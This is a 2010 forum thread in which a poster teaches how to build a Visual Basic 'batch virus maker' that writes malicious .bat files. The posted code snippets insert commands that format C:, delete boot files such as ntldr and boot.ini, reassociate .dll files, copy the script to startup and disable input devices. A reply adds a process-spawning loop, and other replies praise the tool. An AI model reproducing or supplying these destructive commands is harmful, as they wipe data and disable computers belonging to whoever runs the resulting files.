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Thread: [How to make a Batch Virus Maker \[TuT \]](#)

50GTB - September 30, 2010, 5:16 am

Hi

Today im going to teach you how to make a Batch Virus maker.
Let's do this.

Open visual basic or studio > New Project > Name it what ever you want.

- 1 Drag a RichTextBox
- 2 Drag a few buttons. As many virus codes you got.
- 1 Button - Safe as .Bat
- 1 Button Safe as .Txt
- 2 SaveFileDialog1 and SaveFileDialog2

On the RichTextBox you must have "@echo off " at the beginning!

Let's start coding.

Double click on the Button and put this codes.

Disable Mouse

Code RichTextBox1.Text = RichTextBox1.Text & "rundll32 mouse,disable" & vbNewLine

Disable Keyboard

Code RichTextBox1.Text = RichTextBox1.Text & "rundll32 keyboard,disable" & vbNewLine

Swap Mouse

Code RichTextBox1.Text = RichTextBox1.Text & "rundll32 user,swapmousebutton" & vbNewLine

Format C:\

Code RichTextBox1.Text = RichTextBox1.Text & "format c: /q /autotest" & vbNewLine

Add To Start Up

Code RichTextBox1.Text = RichTextBox1.Text & "copy %0 %windir%WINSTART.BAT" & vbNewLine

Delete All.Dll Files

Code RichTextBox1.Text = RichTextBox1.Text & "assoc %systemroot%*.dll=txtfile" & vbNewLine

Kill Computer

Code RichTextBox1.Text = RichTextBox1.Text & "attrib -r -s -h c:\autoexec.bat" & vbNewLine & "del c:\autoexec.bat" & vbNewLine & "attrib -r -s -h c:\boot.ini" & vbNewLine & "del c:\boot.ini" & vbNewLine & "attrib -r -s -h c:\ntldr" & vbNewLine & "del c:\ntldr" & vbNewLine & "attrib -r -s -h c:\windows\win.ini" & vbNewLine & "del c:\windows\win.ini" & vbNewLineMake sure the Kill Computer Virus Code are all in 1 line other wise you will get error's.

Change Time

Code RichTextBox1.Text = RichTextBox1.Text & "time 20:23" & vbNewLineYou can put any time you want i put 20.23

Save as .Bat

Code SaveFileDialog1.ShowDialog()

```
If SaveFileDialog1.FileName <> "" Then
```

```
End If
```

```
FileOpen(1, SaveFileDialog1.FileName, OpenMode.Output)
```

```
PrintLine(1, RichTextBox1.Text)
```

```
FileClose(1) Make sure you type virusname.bat when you are saving
```

Save as .txt

```
Code SaveFileDialog2.ShowDialog()
```

```
If SaveFileDialog2.FileName <> "" Then
```

```
End If
```

```
FileOpen(1, SaveFileDialog2.FileName, OpenMode.Output)
```

```
PrintLine(1, RichTextBox1.Text)
```

```
FileClose(1) Make sure you type virusname.txt when you are saving
```

I will also add more Virus Codes

If you got any problem with the source that i have gave here please contact me via pm and i will reply as soon as possible.

Thank you

Icy Wind - September 30, 2010, 5:38 am

Code RichTextBox1.Text += "Batch code goes here"

Will reduce the size of your code pretty much.

50GTB - September 30, 2010, 5:40 am

Yes brother but thats your way everyone codes in there way.

pr3fix - September 30, 2010, 5:46 am

You could instead, add one textbox & one button and call it compile and write:

```
IO.File.WriteAllText("Path",Textbox1.text)
```

50GTB - September 30, 2010, 5:49 am

yes brother there is many ways

Lil Saint™ - September 30, 2010, 6:00 am

thanks man great tutorial will try this soon.

50GTB - September 30, 2010, 6:12 am

No problem mate if you need any help just pm me

VBKTeam - September 30, 2010, 6:16 am

Awesome! Thanks, You Can Add The Following: --Overflow Screen With Text Editors--

```
@echo off
```

```
lol:
```

```
start notepad
```

```
goto lol
```

50GTB - September 30, 2010, 6:19 am

no problem if you use it please give credits

Vats - August 11, 2011, 9:38 pm

Wow thx bro!!!

I'm gonna try this out on myself>>>

And guys I have a question...

How can we test our created virus weather its running or not without damaging our PC?

50GTB - August 12, 2011, 2:27 am

Thanks for the feedback this was kind of thread, also yes you can by using vmware.

Vats - August 17, 2011, 7:57 am

hmmm bro I'll check out for "vmware" thanks for guiding!

hidmen - August 17, 2011, 8:41 am

amazing TUT.

thanks. cool Code

The message is . Please enter a message longer than 50 characters.